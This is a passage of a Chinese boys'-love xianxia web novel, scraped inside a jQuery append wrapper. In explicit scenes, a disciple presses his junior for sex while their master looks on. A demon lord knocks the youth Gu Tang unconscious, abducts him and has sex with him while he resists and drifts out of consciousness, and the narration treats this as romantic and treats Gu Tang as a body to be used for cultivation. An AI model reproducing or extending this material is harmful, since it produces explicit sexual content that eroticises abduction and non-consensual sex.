$(''#content'').append('' > “顾棠,快/干/我!师尊说你已经和别人做过很多次了,那你也要跟我做一次才行!”说到这儿,佘昀朝顿了一下,“不行…一次可不够,我们要很多次才行!最起码要比那个野男人多…” 你在口出什么狂言?!顾棠费力的抬手去捂他的嘴,眼神里的神采都重新恢复了过来,显得漂亮的惹眼。 佘昀朝被晃了眼,差点没口水流下来,但他心里那点快要压抑不住的心思还没来得及抒发出去就被姜岳稔一记冷眼瞪了回去。 “谨言。” “师尊刚才还不是说的起劲?我都是和师尊学的…”见姜岳稔面色不虞,佘昀朝的音量一点点小了下去。 佘昀朝索性不出声了,只低下头闷闷的服务起小顾棠来,还时不时发出暧昧的声响,居然不知道他这番举动牵动着屋里另外两人的神经。 情到深处,顾棠难耐的哼哼了两声,用手抵住他的肩膀想把他推开,但是那人就像是长在了他身上似的半天都推不开,让他背地里骂了不知多少句“臭不要脸”。 二:魔尊与凌天宗叛逃弟子…? 殷时郧从不否认自己是个坏人,他做事总喜欢斩草除根,不给别人留丝毫余地。 但是他也是头一次碰上这么固执的人。 顾棠,光看名字而言,应该是个性格柔软没什么主见的少年,殷时郧见到他之前都是这么想的。 “我才不要跟你走,你以为你是什么人啊?休想蛊惑我,坏人!” 他哪里见过这么直白不懂得伪装的人?在完全处于弱势的情况下,竟然还敢指着他的鼻子骂他,恐怕也就只有这个少年能做到了吧? 殷时郧也不着怒,抱着臂倚在门口任由他骂了一会儿才不紧不慢的开口道。 “嘘——骂够了?那就乖一点,别得寸进尺。” “魔头…”顾棠红着眼睛小声嘟囔了一句,慢慢往身后挪了几步。 男人低笑两声,漫不经心的一点点走近,那如同逗弄猎物一般的步伐让顾棠汗毛都立起来了,整个人就像一只被踩了尾巴的小猫。 再然后,顾棠眼前一黑就失去了知觉,再次醒来的时候就身处于一个富丽堂皇的宫殿里,周围弥漫着馥郁的香气,像是某种有人沉迷的熏香。 他眼睛还没有完全睁开,觉得身上有动静,雾蒙蒙的低头看去,正好和从他脖颈间抬起头的殷时郧的目光撞个正着。 “呦,醒了?怎么?我的床睡着舒服吗?是不是比你们凌天宗的要软多了?”殷时郧脸上没有一丝被抓包后的尴尬,反而还有心思让顾棠做比较。 顾棠人都要吓傻了,根本就没听清他在说什么,他环视了一圈儿,见周围的布置全都是他没见过的款式,心一下子慌了。 “这是你的地盘吗?你带我来这儿干嘛?我师尊和师兄呢?” 以前在镇子里当小乞丐的时候,顾棠还是很独立的,但可能是这几年被姜岳稔等人养得太好了,激发了他性子里的粘人基因,既然到了一天见不着熟人就会难受的程度。 这人是谁?竟然把他打晕带到了这个陌生的地方!师尊他们都没发现自己不见了吗? 想到这,顾棠的眼尾一点点漫上红晕,心里也突然感到一阵委屈。 “真没出息…” 见他这样,殷时郧冷哼了一声,双手抱臂想装作不在意的转过头,但是又舍不得他那张十分符合自己心意的绝美面容。 顾棠缩在床角独自伤心了一会儿,觉得这么下去也不是回事,小心翼翼的抬头看着门口站着的人,问话的时候眼睛还是红通通的。 “能不能放我回去…我又能吃又没用,真的不能帮你什么的…”顾棠装作委屈巴巴的样子,还不忘抹了一把自己眼角并不存在的泪花。 殷时郧却不像他想象的那般有所动容,反而像是看穿了他的心思似的脸上带着玩味的笑容一点点靠近床边,双臂支撑在他两侧,整个一标准的床咚姿势把顾棠都看懵了,不懂他要做什么。 他又没处可躲,只能眼睁睁的看着眼前人越靠越近。 两人的鼻尖一点点对上,殷时郧甚至都能看清顾棠清澈的眸底倒映着的自己的身影。 “我既然抓你来了,那肯定是有用的呀…要不然我为什么要费这么大劲从姜岳稔那儿把你抢过来?” 殷时郧指尖轻点他泛着红晕的娇嫩脸颊,眸中的神情慢慢变得危险了起来,不知是酝酿着什么坏心思。 顾棠默默的听着,还没等他有所反应就被这个妖里妖气的男人堵住了嘴巴…而且这人竟然还伸舌头!也太不讲卫生了吧? 看外面天色都暗了,这人刷没刷过牙啊?就这么水灵灵的亲上来了? 尝到了朝思暮想的味道,殷时郧越吻越深,两只手也开始不安分了起来,在顾棠身上游走着,趁他被亲的没力气反抗,借机往下探去。 顾棠不是没有反抗,他也有努力的舌尖游走想咬住对方伸进来的舌头的!但是每次都被游刃有余的躲了过去,还被勾着纠缠在了一起,难舍难分。 “呜…”他唇齿间溢出几声呜咽,有点示软的意思,但是身上之人没有半分动摇。 顾棠只能睁大眼睛狠狠的瞪他,可是不仅没有给对方带来丝毫威胁力,还因为含着两泡泪的漂亮眸子太过勾人被亲得更狠了。 后面那人好像又做了什么,但顾棠的意识已经慢慢模糊了,只知道挺腰不断追随着那股让人难以抵抗的快感。 汗珠顺着他弧度漂亮的脊背划过,又在将落未落之时被人用鲜红的舌尖舔舐掉,只留下一串串湿漉漉的痕迹,引人遐想。 开始的时候外面是一片漆黑,只有屋里的烛光伴随着吱吱作响的床铺微微摇晃着,等顾棠再一次醒来的时候外面还是一片漆黑,但床头和连廊上的蜡烛却都灭了。 好像已经是第二天晚上了。 身后紧贴着一具温热的身体,耳边还有对方平缓而有力的呼吸声…顾棠僵硬的动了动身子,刚想象征式的挣扎两下,腰间就被一双大手环住了。 好郁闷。 刚才还留一点余地能让他活动,现在两人算是紧紧贴在一起了。逃也逃不掉,动也动不了…世界上还有比这更让人崩溃的事吗? 顾棠完全没了办法,睁着眼睛盯着房间里的漆黑,盯到他也开始慢慢困倦,眼皮子一点点耷拉了下来,最终陷入睡眠。 黑暗中,他并没有发现本应该熟睡过去的殷时郧缓缓勾起了嘴角。 不愧是被他惦记了这么久的炉鼎体质…滋味果真不是一般的好。 刚开始的时候殷时郧还一心想着修炼,动作之也不忘运转着功法,但他再坚定的意志也架不住身后那东西过强的存在感。 怪不得总听见有人说沉迷于酒色情/欲容易误事呢,这话果真不假,他这才接触了不过一两个时辰就已经有点被迷惑的感觉了。 反正结果就是他完全忘了修炼的事,完全沉迷于一时的欢愉,和这个凌天宗弟子好一番翻云覆雨。 闹到最后,修为没增长多少,却把他累的不行,顾棠也早在最后一次结束的时候就昏昏沉沉的睡了过去,可怜的小家伙就连睡着的时候眉头都是皱着的,眼尾也湿漉漉的,似乎受了莫大的委屈。 盯着他一张仿佛带着红晕的小脸,殷时郧忍不住又凑过去亲了两口。